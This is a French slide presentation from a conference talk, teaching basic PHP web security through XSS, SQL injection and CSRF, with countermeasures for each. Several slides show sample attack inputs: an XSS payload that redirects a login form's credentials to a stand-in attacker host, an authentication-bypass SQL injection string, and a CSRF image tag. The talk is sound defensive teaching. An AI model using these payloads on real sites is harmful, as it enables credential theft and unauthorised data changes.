Ce diaporama a bien été signalé.
Nous utilisons votre profil LinkedIn et vos données d’activité pour vous proposer des publicités personnalisées et pertinentes. Vous pouvez changer vos préférences de publicités à tout moment.

Introduction à la sécurité des applications web avec php [fr]

6 130 vues

Publié le

Présentation de la conférence Sécurité web / PHP aux #NWXTECH2 par Maxime Mauchaussée / Wixiweb.
Découvrez les principes de bases de la sécurité PHP : les injections SQL, les failles XSS et CSRF et voyez comment vous en protéger simplement.

Publié dans : Technologie
  • Soyez le premier à commenter

Introduction à la sécurité des applications web avec php [fr]

  1. 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb   
  2. 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion   
  3. 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres dURL, cookies, données de formulaire, etc.  API, fichier dimport, base de données, etc.  Variables denvironnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  Lutilisation de la balise <img> doit être extrêmement encadrée  Interdire lutilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser limportance dune faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte   
  4. 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est dinjecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur   
  5. 5. Failles de type XSS – Exemple basique  Exemple de site web banal :   
  6. 6. Failles de type XSS – Exemple basiqueFichier de vue PHP :<form action="recherche.php" method="get"><input type="text" name="q" value="<?php echo $_GET[q]; ?>" /><input type="submit" value="recherche" /></form>Données saisies et envoyées au serveur :"/><script type="text/javascript">alert(faille xss)</script><"HTML compromis retourné par le serveur :<input type="text" name="q" value=""/><scripttype="text/javascript">alert(faille xss)</script><"" />   
  7. 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :   
  8. 8. Failles de type XSS – Exploitations  Dégradation de limage / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol didentifiants  Détournement de session (hijacking)  Fixation de session   
  9. 9. Failles de type XSS – Exemples dexploit  Détournement de lattribut « action » du formulaire  dauthentification par injection :"/><script>document.forms[0].action=http://attaquant.fr/owned.php;</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par lattaquant  Possibilité de redirection (parfois transparente) vers la page  légitime   
  10. 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()   
  11. 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne linterprétation imprévue dun code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]   
  12. 12. Failles de type SQL Injection – Exemple  Bypass de lauthentification :   
  13. 13. Failles de type SQL Injection – Exemple  Code PHP :mysql_query("SELECT id, login, profil FROM user WHERE login = " .$_POST[login] . " AND password = " . $_POST[password] .";");  Données saisies dans le champ « login » : OR 1 = 1 --  Interpretation de la requête SQL par PHP :SELECT id, login, profil FROM user WHERE login = OR 1 = 1 --AND password =    
  14. 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit daccès  Vols de données  Destruction de données  Injection de code malveillant   
  15. 15. Failles de type SQL Injection – Contre­mesures  addslashes()SELECT id, login, profil FROM user WHERE login = OR 1 = 1 --AND password =  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application   
  16. 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant lenvoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  Nexploite pas forcément labsence de validation   
  17. 17. Failles de type CSRF – Exemple basique  Système de commentaires :   
  18. 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires :http://sitemalfichu.fr/delete_comment?id=2  Prédiction de lidentifiant du commentaire de la victime par  lattaquant :http://sitemalfichu.fr/delete_comment?id=1  Insertion dune balise image dans un commentaire par  lattaquant :<img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire   
  19. 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement dadresse email  Triche à des concours ou sondages   
  20. 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir lutilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML   
  21. 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne sarrête pas là :  configuration de PHP, du serveur web, de linfrastructure  réseau, etc.    
  22. 22. Questions ­ Réponses  Exemples de questions si vous navez pas didée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer dautres exemples dattaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Quest ce quune « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il dautres types de failles ?   
  23. 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/   

×